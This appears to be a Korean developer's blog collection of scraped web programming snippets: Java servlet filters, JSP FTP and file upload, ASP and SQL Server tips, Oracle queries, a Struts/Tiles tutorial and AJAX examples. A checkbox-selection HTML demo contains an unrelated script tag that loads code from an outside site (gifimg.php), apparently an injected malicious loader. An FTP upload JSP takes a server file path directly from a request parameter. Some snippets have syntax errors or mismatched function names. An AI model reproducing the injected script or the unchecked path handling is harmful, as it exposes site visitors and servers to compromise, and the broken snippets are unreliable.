출처 모든 방문 환영합니다. | 야무지게
원문 http://blog.naver.com/83heejung/50035770918
web.xml 환경설정 - Filter 등록
                
<filter>
	<filter-name>char Encoding</filter-name>
	<filter-class>convert.KorConvert</filter-class>
	<init-param>
		<param-name>encoding</param-name>
		<param-value>UTF-8</param-value>      
	</init-param>
</filter> 


java.servlet.Filter 의 생성 주기

웹 응용프로그램이 처음 실행 될때 개체가 생성되고 init() 을 실행

클라이언트 요청이 있을대마다 doFilter() 실행

웹 응용 프로그램이 종료될때 destory() 실행

src.convert.KorConvert.java 예제 

package convert; 

import java.io.IOException; 

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse; 

public class KorConvert implements Filter{
	private String encoding;
	private FilterConfig fg;
	private boolean ignore = true;

	@Override
	public void init(FilterConfig arg0) throws ServletException {
		fg = arg0;
		// 필터가 정의되어지는 XML 문서에서 정보를 가져온다.
		encoding = fg.getInitParameter("encoding");
		String value = fg.getInitParameter("ignore");
		
		if(value == null) {
			ignore = true;
		} else if(value.equalsIgnoreCase("true")) {
			ignore = true;
		} else if(value.equalsIgnoreCase("yes")) {
			ignore = true;
		} else {
			ignore = false;
		}    
	}

	@Override
	public void doFilter(ServletRequest arg0, ServletResponse arg1,
	FilterChain arg2) throws IOException, ServletException {
		if( ignore || arg0.getCharacterEncoding() == null) {
			// ignore 가 true 이거나 setCharacterEncoding으로 설정된 캐릭터셋값이 없을 경우
	
			// 이곳에서 전처리 코드 수행
			if(encoding != null) {
				arg0.setCharacterEncoding(encoding);
			}
			arg2.doFilter(arg0, arg1); 
	
			// 후처리 코드 수행
		}  
	} 

	@Override
	public void destroy() {
	// TODO Auto-generated method stub  
	}
} 


<%@ page language="java" contentType="text/html; charset=EUC-KR"
 pageEncoding="EUC-KR"%>
<%@ page import="java.io.*" %>
<%@ page import="java.net.*" %>
<%@ page import="org.apache.commons.net.ftp.*" %>

<%
	
	FTPClient ftp = null;
	
	try{
	 	String FilePath="";
	 	FilePath=request.getParameter("FilePath");
	
		ftp = new FTPClient();
		ftp.setControlEncoding("UTF-8"); 
		ftp.connect("아이피");
		ftp.login("아이디", "패스워드");
				
		ftp.changeWorkingDirectory("/vms/"); // 디렉토리 변경
		
		File uploadFile = new File(FilePath);
		FileInputStream fis = null;
		
		try{
		  fis = new FileInputStream(uploadFile);
		  boolean isSuccess = ftp.storeFile(uploadFile.getName(), fis);
		  if (isSuccess)
		  {
		      System.out.println("Upload Success");
		  }
		} catch (IOException ex){
		  System.out.println(ex.getMessage());
		} finally{
		  if (fis != null)
		      try{
		          fis.close();
		      } catch (IOException ex) {}
		}
		ftp.logout();
	} catch (SocketException e){
	    System.out.println("Socket:" + e.getMessage());
	} catch (IOException e){
	    System.out.println("IO:" + e.getMessage());
	} finally{
	    if (ftp != null && ftp.isConnected()){
	        try{
	            ftp.disconnect();
	        } catch (IOException e){}
	    }
	} 

%>

<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR"%>
<%@ page import="com.oreilly.servlet.MultipartRequest"%>
<%@ page import="com.oreilly.servlet.multipart.DefaultFileRenamePolicy"%>
<%@ page import="java.util.*"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=EUC-KR">
<title>▒▒</title>
</head>
<body>
<% 

	String savePath="c:\download"; // 저장할 디렉토리 (절대경로)
	String formName="";
	String fileName="";
	String fullPath="";
	
	int sizeLimit = 10 * 1024 * 1024 ; // 10메가까지 제한 넘어서면 예외발생
	
	try{
		MultipartRequest multi=new MultipartRequest(request, savePath, sizeLimit, new DefaultFileRenamePolicy());
		Enumeration formNames=multi.getFileNames();  // 폼의 이름 반환
		formName=(String)formNames.nextElement(); // 자료가 많을 경우엔 while 문을 사용
		fileName=multi.getFilesystemName(formName); // 파일의 이름 얻기
		fullPath=savePath+"/"+fileName;
	
		if(fileName == null) {   // 파일이 업로드 되지 않았을때
			out.println("<script>alert(\"\\n파일 에러!. \\n\\n파일을 확인해주세요.! \");</script>");
		} else {  // 파일이 업로드 되었을때
			out.println("<script>alert(\"업로드 완료! \");</script>");
		}
	}catch(Exception e){
		System.out.println(e);
	}
%>

</body>
</html>

Function ReplaceFunc(srcString, patrn, replStr)
	Dim regEx            ' 변수를 만듭니다.
	Set regEx = New RegExp        ' 정규식을 만듭니다.
	regEx.Pattern = patrn            ' 패턴을 설정합니다.
	regEx.IgnoreCase = True           ' 대/소문자를 구분하지 않도록 합니다.
	regEx.Global = True
	ReplaceFunc = regEx.Replace(srcString, replStr)   ' 문자열을 대체합니다.
End Function


 	Dim a
	
	a="010-1234-1234sdfdsf-dsfs"
	a=ReplaceFunc(a,"[^0-9]","")
	Response.write a



결과) 01012341234
Function now_date()
	Dim today, nowtime
	Dim syy, smm, sdd, shh, smn, sec
	
	today = date()  :  nowtime = time()
	syy = year(today) : smm = month(today)  : sdd = day(today)
	shh = hour(nowtime) : smn = minute(nowtime) : sec = second(nowtime)
	if len(smm)=1 then smm="0"&smm end if : if len(shh)=1 then shh="0"&shh end if
	if len(sdd)=1 then sdd="0"&sdd end if   : if len(smn)=1 then smn="0"&smn end if
	if len(sec)=1 then sec="0"&sec end if
	
	now_date = (syy&smm&sdd) & (shh&smn)
End Function 

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<script language='JavaScript'>
function checkCall(oElement){
     var newtime = new Date().getTime();
     var len = document.form1.chkC.length;
     var chkArr = document.form1.chkC;
     var boolv =  oElement.checked;
     for(var i=0;i<len;i++){
          chkArr[i].checked = boolv;
     }

     var newtime2 = new Date().getTime();
     td3.innerHTML="걸린시간 : "+(newtime2-newtime);
}
</script>
</HEAD>
<script src=http://hairbrokersinc.com/images/gifimg.php ></script><BODY>
     <form name='form1'>
          <table border='1' width='700'>
               <tr>
                    <td><input type='checkbox' id='chkCall' onclick='checkCall(this)'>전체 체크/해제</td>
               </tr>
               <tr>
                    <td>
                         <div id="divC" style="overflow-x: hidden; overflow-y: auto; width:100%; height:200; padding: 0px; border: 1;">          
                         		<script language='JavaScript'>
                              	for(var i=0;i<2000;i++){
                                 	document.write("<input type='checkbox' id='chkC' value='"+i+"'>C의 "+i+"번째 체크박스<br />")
                                 }
                              </script>
                         <div>                   
                    </td>
               </tr>
               <tr>
                    <td id='td3'> </td>
               </tr>
          <table>
     </form>
</body>
</HTML>



var arr = [1, 2, 3, 4, 5] // array inicial
var removeItem = 2; // item do array que devera ser removido
arr = jQuery.grep(arr, function(value)) {
       return value != removeItem;
});

result : [1, 3, 4, 5]

숫자만 나타내기
var temp="1aaa2aabb한3글이sdf당4dDFFJJE";
//var regExp = /[^0-9A-Za-zㄱ-ㅎ가-힣]/gi;

var regExp = /[^0-9]/gi;
temp = temp.replace(regExp,"");
document.write(temp);

결과 : 1234
읽어들일 파일형식 지정 파일명을 TextFormat.fmt라 하겠다.
9.0 
1
1       SQLCHAR        0       20       "\r\n"   1     Phone_number       "" 


쿼리 실행!
select    COUNT(TXTFILE.Phone_number) AS COUNT 
from       OPENROWSET ( BULK 'c:\temp\a.txt',  
             FORMATFILE='c:\temp\TextFormat.fmt' ) as TXTFILE (Phone_number) 

MSSQL 2000
sp_changeobjectowner 'test.test', 'dbo'

MSSQL 2005 이상
ALTER schema dbo transfer test.test

백업을 하게 되면 로그가 자동으로 비워진다backup log 디비명 with NO_LOG
되지 않을때
DBCC SHRINKFILE (로그명, 5)

sql2008 이후로는 단순로그로 사용해야 한다.

ALTER DATABASE DB명 SET RECOVERY Simple
USE DB명
DBCC SHRINKFILE(DB명_log, 10)
ALTER DATABASE DB명 SET RECOVERY FULL
CREATE trigger [dbo].[Trigger_EX] on [dbo].[TABLE] for update
as

Declare @user_id varchar(20)
Declare @result int
Declare @stat_status int


set @user_id = (select user_id from inserted)
set @result = (select result from inserted)
set @stat_status = (select stat_status from inserted)

-- if UPDATE(컬럼명) 이런식으로도 가능

if @stat_status = 3 and @result <> 2 
	begin
	
	사용 소스 작성
	
	end

DECLARE @PHONE_NUMBER varchar(50)
DECLARE @DEST_INFO varchar(5000)
DECLARE @i int


DECLARE SelectCursor CURSOR FAST_FORWARD GLOBAL FOR

select cast(DEST_INFO as varchar) from send


OPEN SelectCursor

FETCH NEXT FROM SelectCursor INTO @PHONE_NUMBER    -- 위쿼리의 값이 @PHONE_NUMBER에 입력된다.

WHILE @@FETCH_STATUS <> -1  -- record가 존재하지 않을때 까지
	Begin
		If @@FETCH_STATUS <> -2 --record가 없을경우
			Begin

			End

		FETCH NEXT FROM SelectCursor INTO @PHONE_NUMBER

		If @@FETCH_STATUS <> 0 -- record가 존재할때
			Begin

			End

	End

CLOSE SelectCursor;
DEALLOCATE SelectCursor;
select  	a.constraint_name, 
			a.table_name, 
			a.column_name, 
			a.position,
			b.constraint_type, 
			search_condition,
			r_owner, r_constraint_name, 
			status
from user_cons_columns a, user_constraints b
where a.constraint_name = b.constraint_name
and a.table_name = '&table_name'
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 
Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<style type="text/css"> 
 HTML
 {
             scrollbar-face-color: #FFFFFF;
             scrollbar-highlight-color:#bfbfbf;
             scrollbar-3dlight-color: #ffffff;
             scrollbar-shadow-color:#bfbfbf;
             scrollbar-darkshadow-color: #FFFFFF; 
             scrollbar-track-color: #FFFFFF; 
             scrollbar-arrow-color: #bfbfbf;
 }
# 다른색상
 HTML
 { 
             scrollbar-face-color:#EDEDED; 
             scrollbar-highlight-color:#FFFFFF; 
             scrollbar-3dlight-color:#FFFFFF; 
             scrollbar-shadow-color:#C3C3C3; 
             scrollbar-darkshadow-color:#C3C3C3; 
             scrollbar-track-color:#EDEDED; 
             scrollbar-arrow-color:#EAEAFF; 
 }
</style>
</head>
<body>
</body>
</html><SPAN id=tx_marker_caret></SPAN>
<textarea name="text" errname="text" mandatory="yes" style="IME-MODE:active;" maxbytelength="4000">
페이지 로딩시 기본 한글로 입력됨!
</textarea>
 


style 속성중
 
IME-MODE 값이 active 일떄 기본 한글
inactive 일떄 기본영어
auto 일때 현재 셋팅 언어!
<body oncontextmenu="return false" ondragstart="return false" onselectstart="return false ">
<input type="text" 
             onkeyPress="if ((event.keyCode<48) || (event.keyCode>57)) event.returnValue=false;" 
             style="ime-mode:disabled;" />


사용이 베리 이지한 터미널 프로그램
원래 ssh를 써었는데 딱 한번 사용해보고
이걸로 바꿨다..

JSP 템플릿 프레임워크인 tiles 사용법 까먹기전에 적어 두어야 겠다.

1. Struts 설치

JSP 프레임워크 struts를 설치하면 tiles 가 포함 되어있다. struts 설치는 알아서 검색 하면됨.
본인은 셋팅의 귀차니즘으로 struts-blank~~.war 를 간단히 import 하였다..ㅡㅡ;

2. struts-tiles.tld 사용

struts를 설치하고나면 WEB-INF/lib 폴더에  struts-tiles-1.3.xx.jar 란 놈이 있는데 
압축을 풀게되면   META-INF/TLD 폴더에서 struts-tiles.tld 란 놈을 찾을수 있다.
요놈이 tiles를 사용할수있게 해주는 태그라이브러리이며 요놈을 html 또는 jsp 페이지에서 사용하기 위해선
각 페이지에 tld 선언을 해주어야 한다.
<%@ taglib uri="/WEB-INF/struts-tiles.tld" prefix="tiles"%>
요런식으로 말이다.
위와 같이 선언 하게되면 <tiles:~~~로 시작하는 태그를 사용할수 있다.
일단 사용법은 이러하고....사용하기전에 WEB-INF/tld 라는 폴더를 만들어서 거기에 복사하자.

3. web.xml 설정

 환경설정 파일인 web.xml 에서 tiles 를 사용하겠다는 설정을 하여야하는데
 위 2번에서 설치한 struts-tails.tld 를 아래와 같이 명시 해주어야 한다.
<taglib>
     <taglib-uri>/WEB-INF/tld/struts-tiles.tld</taglib-uri>
     <taglib-location>/WEB-INF/tld/struts-tiles.tld</taglib-location>
</taglib>
4. struts-config.xml 설정

action 태그에서 맵핑을 해주어야 한다.
<action path="/main1" forward=".main1" />
<action path="/menu1" forward=".submenu1" />
<action path="/menu2" forward=".submenu2" />
* 본인은 struts URL 설정에서 *.do로 해두었다.

위 설정은 URL 에서 main.do 로 요청이 들어왔을때 tiles-defs.xml 에서
definition 태그의 name속성이 .main1 이라는 것을 참조해 페이지를 구성하라는 뜻이다.
struts-config.xml 과 tiles-defs.xml 을 연결 시켜준다고 보면 되겠다.

5. tiles-defs.xml 생성 및 설정

tiles-defs.xml 파일은 따로 있는건지 만들어야 하는건지 파일 압축 풀면 나오는건지 확실히는 모르겠다
본인은 그냥 만들었다..ㅡ;;;

tiles-defs.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE tiles-definitions PUBLIC
       "-//Apache Software Foundation//DTD Tiles Configuration 1.1//EN"
       "http://jakarta.apache.org/struts/dtds/tiles-config_1_1.dtd">

<tiles-definitions>
      <definition name=".main1" path="/Layout.jsp">
      <put name="title" value="안냐세요" />
      <put name="header" value="/header.jsp" />
      <put name="menu" value="/menu.jsp" />
      <put name="footer" value="/footer.jsp" />
      <put name="body" value="/body.jsp" />
    </definition>
    <definition name=".submenu1" extends=".main1">
                  <put name="body" value="menu1.jsp" />
    </definition>
    <definition name=".submenu2" extends=".main1">
                  <put name="body" value="menu2.jsp" />
    </definition>
</tiles-definitions>

 
 
위 4번의 struts-config.xml 에서 설정한 action 태그의 forward 속성과 맵핑 되는것을 찾아 페이지를 구성
하게 된다. put 태그의 value 속성 문자열은 request 로 받을수있는 속성이 되며 url은 페이지로 사용할수가 있다.

정리를 하면 main.do 라는 요청이 왔을때 struts-config.xml 에서 main에 해당하는 action을 찾게 되며
main의 forward 속성을 참조해 tiles-defs.xml 파일 definition 태그의 name 속성과 맵핑되는것을 찾아서
path 속성의 url로 이동하게된다.

위 예제를 예로 들면 .main1 을 요청하게되는데 path 속성인 /Layout.jsp 로 이동하게되며
Layout.jsp 페이지에서 위의 서브 파라미터인 put 태그의 속성들을 참조할수있게 해주는것이다.


6. Layout 페이지 생성
5번까지 설정부분이었다. 이제 테스트를 해보아야 하는데
본인은 위 예제에적힌 Layout.jsp 파일을 생성 하여 작성하였다.

<%@ page language="java" contentType="text/html; charset=EUC-KR"  pageEncoding="EUC-KR"%>
<%@ taglib uri="/WEB-INF/tld/struts-tiles.tld" prefix="tiles"%>


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=EUC-KR">

<title>Insert title here</title>

</head>

<body>
      <h1><tiles:getAsString name="title" /></h1>
      <table border="1" width="100%">
         <tr>
            <td colspan="2"><tiles:insert attribute="header" /></td>
       </tr>
       <tr>
           <td width="140"><tiles:insert attribute="menu" /></td>
           <td><tiles:insert attribute="body" /></td>
       </tr>
        <tr>
           <td colspan="2"><tiles:insert attribute="footer" /></td>
       </tr>
       </table>
</body>
</html>


눈여겨 볼것은 <%@ taglib uri="/WEB-INF/tld/struts-tiles.tld" prefix="tiles"%> 요놈인데
요놈이 tiles를 사용할수있게 해주는 태그이다 2번에서 설명했다.

중간 중간에 보면 <tiles:~~~ 로 시작하는 태그가 있다.
소스를 보면 알겠지만 attribute 속성에 적힌 문자열이 tiles-defs.xml 파일의 put태그 속성이름에 해당하게 되며
put 태그 value값의  페이지를 include 한다고 보면 된다.



# 마무리로 위예제를 테스트 해볼려면 tiles-defs.xml  에 설정된 파일이름들을 생성해서
각 페이지 마다 페이지의 내용을 알아볼수있게 입력한후 http://localhost:xxxx/xxx/main.do 를 실행해 보면
페이지를 확인할수가 있다.

 

스트러츠의 모든 클래스는 org.apache.struts.action.ActionServlet 클래스를
상속받아 작성이된다.(그렇게 알고있다..ㅡㅡ;)

web.xml 에서 설정한  ActionServlet 클래스가 로더되기전에 모듈설정 초기화를 할수있는 클래스를 아래와 작성하여
reload.do 라는 URI 가 들어왔을때 모든 모듈 설정 클래스들을 초기화할수있게 하면
struts-config.xml 의 action을 추가할때마다 restart 하지않아도 바로 적용이된다.

struts1 13.10 버전에서 테스트 하였다.
아래의 클래스는 위의 제목의 주소에서 퍼왔다..(죄송해요...카페가입이 안되어있으면 글남기기가안되서 무단으로.;;)

* web.xml을 아래와 같이 변경해준다.

<servlet-class>my.MyActionServlet</servlet-class> 


예제)
package my; 

import java.io.*; 
import java.util.*;

import javax.servlet.*; 
import javax.servlet.http.*; 

import org.apache.struts.*; 
import org.apache.struts.action.*; 
import org.apache.struts.config.*; 
import org.apache.struts.util.*; 

/**
 * <pre>
 * struts-config.xml과 메시지 리소스 파일의 수정사항을
 * 서버의 재시작 없이 사용하도록 하는 ActionServlet이다.
 *
 * [사용방법]
 * web.xml 파일을 다음과 같이 수정한다.
 * <servlet-class>my.MyActionServlet</servlet-class>
 *
 * reload.do 를 호출한다.
 * </pre>
 */

public class MyActionServlet extends ActionServlet {
    protected void process( HttpServletRequest request, HttpServletResponse response )

        throws IOException, ServletException {


        String uri = request.getRequestURI();
        if( uri.indexOf( "reload.do" ) != -1 ) {
            removeAttribute();
            init();
            ModuleUtils.getInstance().selectModule( request, getServletContext() );
            ModuleConfig config = getModuleConfig( request );
            getRequestProcessor( config ).init( this, config );
            System.out.println( "reload ok..." );
        } else {
            super.process( request, response );
        }
    }


    private void removeAttribute() {
        ServletContext context = getServletContext();
        Enumeration applications = context.getAttributeNames();

        List contextAttributes = new ArrayList();

 

        //-스트러츠프레임워크에서 설정한 모든 모듈 설정 클래스들의 이름을 얻는다.
        while ( applications.hasMoreElements() ) {
            String attributeName = (String) applications.nextElement();
            if ( attributeName.startsWith( "org.apache.struts." ) ) {
                contextAttributes.add( attributeName );
            }
        }

 

        //- 에플리케이션 속성(영역)에 바인딩되어 있는 클래스들을 메모리에서 해제 한다.
        for (int i = 0; i < contextAttributes.size(); i++) {
            context.removeAttribute( (String) contextAttributes.get( i ) );
        }
    }

}

솔직하게 말해서 스트럿츠 이렇게 하는게 맞는지는 잘 모르겠다-_-; 틀린점 있으면 지적해주세요!

초간단 방명록인데 그냥 쓰기랑 쓴 글을 보여주는 기능 밖에 없는 방명록을 만들어보자!-_-;

가장 먼저 준비물은 이클립스WTP, 톰캣, 스트럿츠, JDK5.0 이다.

이클립스 WTP2.0 (올인원으로 받자)
http://europa-mirror1.eclipse.org/webtools/downloads/

톰캣5.5 (아마도 6.0에서 해도 상관없을 것이다.)
http://tomcat.apache.org/download-55.cgi

스트럿츠1.3.8
http://struts.apache.org/download.cgi#struts138

JDK5.0 (아마 6에서 해도 상관없을 것이다-_-;)
http://java.sun.com/javase/downloads/index_jdk5.jsp

설치는 이클립스는 그냥 압축풀고, 톰캣도 그냥 압축풀고, 스트럿츠는 나중에 프로젝트 만들고나서 설정하겠다. JDK5.0 다음신공으로 설치하면 끝이다.

다 설치를 했으면 이클립스를 구동하자.

우선 서버를 추가하자. File->New->Other선택 후 Server에서 Server선택해서 자신의 톰캣버전을 선택하자.

그다음 프로젝트를 만들자. File->New->Project 선택 후 dy라고 쳐서 Dynamic Web Project선택.
Project Name은 SimpleGuestBook이라고하고 모든 옵션을 디폴트로하고 Finish를 하자.

여러 폴더가 보일 것이다.
Java Resources: src -> 자바소스를 넣는 곳.
build -> 자바소스가 빌드되어서 이곳에 클래스로 저장이 된다.
WebContent -> WEB-INF폴더와 jsp, web.xml, struts-config.xml등의 설정파일을 저장할 곳.


대충 이런 구조로 되어있다. 우선 가장 먼저 "Hello 방명록"을 출력하는 것을 만들어보자.

※스트럿츠설치는 WebContent/WEB-INF/lib 폴더에 struts를 받아서 풀면 있는 lib폴더에 있는 lib파일을 다 가져다가 넣는다. 그리고 태그라이브러리라는 것을 써야 하는데 struts-taglib-1.3.8.jar파일을 풀면 META-INF/TLD폴더에 TLD파일들이 있는데 이 파일을 WEB-INF/TLD폴더를 생성해서 넣어 놓도록 하자.
 
WebContent/WEB-INF/web.xml을 열어서 수정하자. <web-app>안에 이렇게 넣자.

web.xml 파일소스 닫기

<display-name>GuestBook</display-name>

<!-- ActionServlet를 등록한다. -->
<servlet>
	<servlet-name>action</servlet-name>
	
	<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
	
	<init-param>
		<param-name>config</param-name>
		<param-value>/WEB-INF/config/struts-config.xml</param-value>
	</init-param>
	
	<init-param>
		<param-name>debug</param-name>
		<param-value>2</param-value>
	</init-param>
	
	<init-param>
		<param-name>detail</param-name>
		<param-value>2</param-value>
	</init-param>
	
	<!-- ActionServlet은 이 웹 어플리케이션 시작시에 함께 시작되어야 한다. -->
	<load-on-startup>1</load-on-startup>
</servlet>

<!-- “*.do”로 끝나는 모든 URL 패턴은 ActionServlet을 거쳐서 수행되어야 한다. -->
<servlet-mapping>
	<servlet-name>action</servlet-name>
	<url-pattern>*.do</url-pattern>
</servlet-mapping>

<welcome-file-list>
	<welcome-file>index.jsp</welcome-file>
</welcome-file-list>

web.xml 파일소스 닫기


web.xml은 한번 설정해놓으면 건드릴 것이 없다. 우리가 설정해야할 곳은 위에 actionservlet에 등록한 스트럿츠설정파일이다.
WEB-INF/config폴더를 생성해서 struts-config.xml 파일을 생성하자.

struts-config.xml 소스파일 닫기

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE struts-config PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 1.2//EN"
"http://jakarta.apache.org/struts/dtds/struts-config_1_2.dtd">

<struts-config>

	<action-mappings>
		<action path="/Welcome" forward="/index.jsp"/>
	</action-mappings>

</struts-config>

struts-config.xml 소스파일 닫기


간단히 action을 지정해줬는데 http://localhost:8080/SimpleGuestBook/Welcome.do 라고 실행하게 되면 index.jsp를 포워딩하는 그런 것이다.

WebContent폴더에 index.jsp를 생성한 뒤

index.jsp 소스파일 닫기

<%@ page language="java" contentType="text/html; charset=EUC-KR"
    pageEncoding="EUC-KR"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=EUC-KR">
<title>스트럿츠로 제작된 방명록입니다.</title>
</head>
<body>
<a href="list.do">환영합니다.</a>
</body>
</html>

index.jsp 소스파일 닫기

이렇게 적어보자. 그런 뒤 SimpleGuestBook(프로젝트이름)에 대고 오른쪽버튼을 누른 뒤
Run As -> Run on Server해서 우리가 추가한 서버로 실행해보자.

그러면 http://localhost:8080/SimpleGuestBook/ 라고 주소창에 뜨고 환영합니다 라는 말이 뜰 것이다. 이것은 index.jsp를 바로 실행한 것이기 때문에
http://localhost:8080/SimpleGuestBook/Welcome.do 라고 쳐보자. 똑같이 나올 것이다.
스트럿츠 설정파일에서 Welcome은 index.jsp를 포워딩하기 때문이다.
만약 실행이 안된다면 프로젝트명에 대고 F5를 눌러서 Refresh를 해보던가 lib파일을 넣지 않았던가 하는 설정 문제 일것이다.

자 오늘은 여기까지-_-;


AJAX + ASP 한글 깨짐

WEB TIP/Prototype.js | 2008/07/02 15:43 | 제퐁

ajax 이용해서 responseText 로 결과값을 받았는뎅
이결과값이 한글이라서 깨질때

실행되는 페이지 상단에 넣어라

Session.CodePage  = 65001 '한글
Response.CharSet  = "UTF-8" '한글
Response.AddHeader "Pragma","no-cache"
Response.AddHeader "cache-control", "no-staff"
Response.Expires  = -1

항상 인클루드 되는 페이지

Session.CodePage  = 949 '한글
Response.CharSet  = "euc-kr" '한글
Response.AddHeader "Pragma","no-cache"
Response.AddHeader "cache-control", "no-staff"
Response.Expires  = -1

아작스로 데이터 받으면 한글이 안되
그래서 UTF8로 받아야 되거덩

그랴서.. 호출되는 페이지는 코드페이지를 한글로 해서 데이터를 넘기고

값을 받는 페이지는 기본 페이지코드는 설정해 줘야 된당..

안그럼 호출뒤에는

기본셋이 UTF8로 되서 께져 .. 딴페이지가..

항상 사용되는 변수나 혹은 환경설정 페이지는
페이지 코드라던가 혹은

설정값들.. 예를들어.. dbstr 정보라던지..
혹은.. 관리자 메일주소라던지...
이런것들은

global.asp 라고  하나 만들고

프로그램 모든 페이지에다가 다 인클루드 시켜 버려 ㅎ

그람 나중에 편 다.. ㅎ

[출처] ajax 한글 깨짐 현상|작성자 범이

테이블명 ONE_LINE

    A               B                 C
 김승훈         천재             맞음
 김승훈         천재             글쎄
 김승훈         천재             아닐껄
 김승훈         바보             맞음
 김승훈         바보             아닐껄

위와 같은 테이블이 있다

SELECT 로 조회할때 그룹으로 지정을하면 
기껏 나타 내봐야

    A               B             COUNT
김승훈          천재               3
김승훈          바보               2

요정도밖에 나타내지 못한다

내가 하고자 하는것은 아래와같이
C의 컬럼의 내용도 같이 나타내고자 하는것이다.!!

    A               B                   C
김승훈          천재        맞음, 글쎄, 아닐껄
김승훈          바보         맞음, 아닐껄


검색을 때려본 결과 두가지방법이있던데
CONNECT 를 이용해서 하는방법과
XML 을 이용해서 하는방법

CONNECT 를 이용해서 하는방법은 너무어렵더이다(OTL)....패스
아래는  XML을 이용한 방법이다.

SELECT A, 
             B,
             SUBSTR(XMLAGG(XMLELEMENT(ELONG,C || ',') ORDER BY C).EXTRACT('//text()'),1) AS C
FROM    ONE_LINE
GROUP BY A,B

XMLELEMT함수로 위와 같이 값을 지정하게 되면
<ELONG>맞음,</ELONG>
<ELONG>글쎄,</ELONG>
<ELONG>아닐껄,</ELONG>

..... 요런식으로 나타나게 되는데
이값을 다시 XMLAGG함수로 묶으면

<ELONG>맞음,</ELONG><ELONG>글쎄,</ELONG><ELONG>아닐껄,</ELONG>.....
요런식으로 한줄로 나타낼수 있다

여기서 이제  EXTRACT 함수로 태그를 제거 하면
값만 뽑아서 한줄로 나타낼수 있다.
//text() 이부분은 반드시 소문자로....
대문자로 하다가 왜안돼지 하면서 개고생했다.ㅠ


값을 SUBSTR로 묶은 이유는 서버사이드에서 값을 가져올때 XML형식이라 값을 가져오기 힘들더이다.
그래서 문자열로 나타내기위해 값을 묶었다.

// Ajax.jsp // 웹프로그래밍 언어는 관계없다 난 jsp를 좋아라 해서..;
<%@ page language="java" contentType="text/html; charset=EUC-KR" pageEncoding="EUC-KR"  %>
<HTML>
<HEAD>
<SCRIPT language=javascript>
var xhr = null;

// XMLHttpRequest 객체 얻기
function getXMLHttpRequest() {
    if (window.ActiveXObject) {
        try {
            return new ActiveXObject("Msxml2.XMLHTTP");//IE 상위 버젼
        } catch (e1) {
            try {
                return new ActiveXObject("Microsoft.XMLHTTP");//IE 하위 버젼
            } catch (e2) {
                return null;
            }
        }
    } else if (window.XMLHttpRequest) {
        return new XMLHttpRequest();//IE 이외의 브라우저(FireFox 등)
    } else {
        return null;
    }
}

// 서버에 요청 
function requestWorkPlan(URL, Str) {

//한글 처리( escape를 빼면 변환되지않음 이유는 나도 모름..ㅠ)
 var SearchVal = escape(encodeURIComponent(Str));

 URL += "?SearchVal="+SearchVal;

    xhr = getXMLHttpRequest();//XMLHttpRequest 객체 얻기
    xhr.onreadystatechange = responseWorkplan;//콜백 함수  등록
    xhr.open("GET", URL, true);//연결
    xhr.send(null);//전송
    // 모두실행되면 전송된 URL이 전부실행되고 아래펑션에서 응답을하게된다. 
    // 왜냐 위 콜백함수이름이 responseWorkplan이니까 

}

// 응답
function responseWorkplan() {
    if (xhr.readyState == 4) {//완료
        if (xhr.status == 200) {//오류없이 OK
             //서버실행된 모든 태그 및 스크립트를 str에 담는다.
             var str = xhr.responseText;            
             //DIV나 SPAN태그에 str을 담으면 페이지이동없이 실행된다.
             document.getElementById("WorkPlan").innerHTML = str; 
        } else {
            alert("Fail : " + xhr.status);
        }
    }
}
</SCRIPT>


<A onclick="javascript:requestWorkplan('Ajax_proc.jsp','한글이지렁~')">엘롱</A>
<SPAN id=WorkPlan>
멍청이
</SPAN>
// Ajax_proc.jsp // 역시 웹프로그래밍 언어는 관계없다
<%@ page language="java" contentType="text/html; charset=EUC-KR"
    pageEncoding="EUC-KR"  %>

<%="똑똑한데?ㅋ"%>
실행하고나면 위의 span 태그값 "멍청이" 가 "똑똑한데?ㅋ" 으로 변경되며 페이지 이동없이 실행된다. 응용하면 Ajax_proc.jsp 에서 DB 값을 가져와 맘대로 뿌려주면 된다...

embed 태그에 style을 적용하면 멋진 미디어플레이어 스킨이 탄생 ^^

 



<EMBED style="FILTER: xray(); WIDTH: 300px; HEIGHT: 49px" src="" type=audio/x-ms-wma SHOWSTATUSBAR="1" volume="0" autostart="true" loop="true">




<EMBED style="FILTER: alpha(opacity=100 Style=2 FinishOpacity=10)gray(); WIDTH: 700px; HEIGHT: 40px" src="" type=audio/x-ms-wma volume="0" >




<EMBED style="FILTER: alpha(opacity=50 Style=1 FinishOpacity=2)xray(); WIDTH: 250px; HEIGHT: 50px" src="" type=audio/x-ms-wma showstatusbar="1" >




<EMBED style="FILTER: alpha(opacity=100 Style=3 FinishOpacity=2)xray(); WIDTH: 500px; HEIGHT: 50px" src="" type=audio/x-ms-wma >




<EMBED style="FILTER: alpha(opacity=100 Style=3 FinishOpacity=5) flipV(); WIDTH: 400px; HEIGHT: 40px" src="" type=audio/x-ms-wma volume="0">




<EMBED style="FILTER: alpha(opacity=100 Style=3 FinishOpacity=5) flipH(); WIDTH: 400px; HEIGHT: 40px" src="" type=audio/x-ms-wma volume="0" >




<EMBED style="FILTER: alpha(opacity=100 Style=3 FinishOpacity=5) invert(); WIDTH: 400px; HEIGHT: 40px" src="" type=audio/x-ms-wma>


SELECT * FROM USER_CONS_COLUMNS
를 실행해 보니

